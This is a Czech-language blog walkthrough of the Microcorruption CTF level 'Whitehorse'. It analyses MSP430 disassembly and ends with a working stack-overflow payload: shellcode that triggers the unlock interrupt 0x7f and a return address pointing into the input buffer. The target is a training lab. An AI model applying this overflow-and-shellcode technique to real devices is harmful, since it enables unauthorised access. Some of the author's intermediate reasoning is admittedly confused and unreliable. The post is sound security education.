microcorruption Whitehorse

Microcorruption.com lvl. Whitehorse

    - This lock is attached the the LockIT Pro HSM-2.
    - We have updated  the lock firmware to connect with this hardware
      security module.
ha! Změna! HSM-2
LockIT Pro Hardware  Security Module 2 stores  the login password,
    ensuring users  can not access  the password through  other means.
    The LockIT Pro  can send the LockIT Pro HSM-2  a password, and the
    HSM will  directly send the  correct unlock message to  the LockIT
    Pro Deadbolt  if the password  is correct, otherwise no  action is
    taken.

Takže heslo neuvidím? No, uvidíme.

  This is  Software Revision  01. The firmware  has been  updated to
    connect with the new hardware security module. We have removed the
    function to unlock the door from the LockIT Pro firmware.

Už neuvidím unlock_door funkci? 😦

Tahle funkce mě trkla hned do očí:

4446
4446:  0412           push r4
4448:  0441           mov sp, r4
444a:  2453           incd r4
444c:  2183           decd sp
444e:  c443 fcff      mov.b #0x0, -0x4(r4)
4452:  3e40 fcff      mov #0xfffc, r14
4456:  0e54           add r4, r14
4458:  0e12           push r14
445a:  0f12           push r15
445c:  3012 7e00      push #0x7e
4460:  b012 3245      call #0x4532
4464:  5f44 fcff      mov.b -0x4(r4), r15
4468:  8f11           sxt r15
446a:  3152           add #0x8, sp
446c:  3441           pop r4
446e:  3041           ret

Takže odemknutí za podmínky…
Zaujalo mě zde hlavně instrukce 445c, která do INT předává hodnotu 7e, která při shodě s heslem otevírá dveře.

3.3 HSM Model 2
The Model 2 of the hardware security module is a more advanced HSM, with the ability to directly trigger the unlock functionality in the lock. The MCU passes the lock a password, and the HSM will trigger the unlock if the password is valid. By default, the interrupt 0x7E will pass a given password to the HSM, and the lock will be opened if the password entered matches the stored password. The stored password can be reset by detaching the HSM from the lock and attaching it to the Model 2 reset device, also included.

V hlavním cyklu se volá funkce login, která volá právě conditional_unlock_door:

44f4
44f4:  3150 f0ff      add #0xfff0, sp
44f8:  3f40 7044      mov #0x4470 "Enter the password to continue.", r15
44fc:  b012 9645      call #0x4596
4500:  3f40 9044      mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4504:  b012 9645      call #0x4596
4508:  3e40 3000      mov #0x30, r14
450c:  0f41           mov sp, r15
450e:  b012 8645      call #0x4586
4512:  0f41           mov sp, r15
4514:  b012 4644      call #0x4446
4518:  0f93           tst r15
451a:  0324           jz #0x4522
451c:  3f40 c544      mov #0x44c5 "Access granted.", r15
4520:  023c           jmp #0x4526
4522:  3f40 d544      mov #0x44d5 "That password is not correct.", r15
4526:  b012 9645      call #0x4596
452a:  3150 1000      add #0x10, sp
452e:  3041           ret

Stack pointer je nastaven na fff0, v r15 je uloženo uživatelem zadané heslo. Mno, nikde v kódu nevidím žádné omezení vstupu, takže co se stane, když zadám něco, co je delší, než 16 znaků? Buffer overflow!

Při průchodu getsn funkcí jsem si všiml, že při zavolání  insturkce 4590: add #0x6, sp dojde k posunu ukazatele na můj vstup, protože na adrese 36a2 je mé heslo.

Hned nato se vracím do funkce login a volá se funkce conditional_unlock_door.
Pak projde cyklem, porovná r4 s r15 a nakonec, pokud je r15 nula, což je, pokud vstup neodpovídá heslu, skočí na špatné heslo na 4522 a ukončí cyklus.
Co se stane, když zadám heslo delší 16 znaků?

zadávám v hex: 0102030405060708091011121314151617

4512:  0f41           mov sp, r15
4514:  b012 4644      call #0x4446

sp, což je první byte mýho vstupu, se přesouvá do r15 a ten se předává do conditional_unlock_door

Ve funkci se přečte r4, které na adrese 10 obsahuje 0a. Pak je sp přesunut do r4, které teď obsahuje můj kompletní vstup. Pak se volá INT, tam se volá adresa 10…a ta obsahuje 0a…no, nakonec všeho jsem dostal zprávu: insn address unaligned. To znamená, že ukazatel nenašel udanou adresu 17. Tákže? Takže stack overflow a zkusím to přepsat.Ale ještě si to potvrdím.

Co kdybych zadal rovnou adresu 451c? insn address unaligned. Takže tudy ne. Ale manuál říká 7f odemyká!
Takže potřebuju předat tuto hodnotu do místa, které ovládám = sr.
Ale ani tohle nefunguje, stále dostávám insn address unaligned.
Evidentně mám problém s _trap_interrupt funkcí, která je volána vždy, když něco zadám.

Začal jsem proto pozorněji číst kód a zjistil jsem, že jsem prve blbě porozuměl instrukcím v INT.

4532
4532:  1e41 0200      mov 0x2(sp), r14
4536:  0212           push sr
4538:  0f4e           mov r14, r15
453a:  8f10           swpb r15
453c:  024f           mov r15, sr
453e:  32d0 0080      bis #0x8000, sr
4542:  b012 1000      call #0x10
4546:  3241           pop sr
4548:  3041           ret

Bral jsem je příliš na lehkou váhu a nevěnoval jim skoro žádnou pozornost. Ale tady dochází k přesunu sp do r14, vyvolání sr, přesunu r14 do r15, prohození r15 a následně vrácení r15 do sr. Zásadní je BIS – přiřazení bitu. Do sr se dostane 8 bitů, takže dojde k posunutí sr o 8 bitů. Takže bitwise operace! Pak je zavolána adresa 10, sr zahozeno a vracíme se do cyklu.

Takže co se stane, když udělám 7f<<8000? ze 7 se stane f, takže budu mít ff00, takže pokud zadám ff00, tahle funkce z toho udělá 7f. Super.
Ale furt to nefunguje.
Při debugování mi ale vychází, že musím přesunout JEN tuto hodnotu. A furt nic…
Takže tudy cesta nevede…

Co teda chci? Odemknout zámek, to se nechá pomocí 0x7f. Nemůžu prostě skočit do funkce, protože potřebuju, aby tato hodnota byla předána na stack. A musí to být rekurze, takže se to musí odkázat ještě samo na sebe.

Takže
1. zavolat INT
2. předat 7f
3. ???
4. profit!

push 0x7f
call 4532
call 0x36a2

Protože ale po exekuci instrukce ret  bude všechno nulováno, musím dostat do toho ještě adresu mé instrukce. Ta je na 36a2. Takže vlastně mám stejnou funkci, jako v conditional_unlock_door, akorát místo 7e dávám 7f.
Takže instrukce si jednoduše zkopíruju už hotový z kódu, akorát 7e změním za 7f:
3012 7f00
b012 3245

36a2 je adresa mého vstupu (=AAA a má 4 byty).Na adrese 36b2 je volání, které potřebuju přepsat právě adresou 36a2. Takže můj vstup bude vypadat:
30127f00b0123245
to je 8 bytů.
0102030405060708
8 bytů
a adresa 36a2 v little endian: a236 zkompletuje kód
30127f00b01232450102030405060708a236

A voilá! (no, úplně moudrej z toho nejsem, ale funguje to, takže co…)

Nápady na zlepšení?

Advertisements

Zanechat Odpověď

Vyplňte detaily níže nebo klikněte na ikonu pro přihlášení:

WordPress.com Logo

Komentujete pomocí vašeho WordPress.com účtu. Odhlásit / Změnit )

Twitter picture

Komentujete pomocí vašeho Twitter účtu. Odhlásit / Změnit )

Facebook photo

Komentujete pomocí vašeho Facebook účtu. Odhlásit / Změnit )

Google+ photo

Komentujete pomocí vašeho Google+ účtu. Odhlásit / Změnit )

Připojování k %s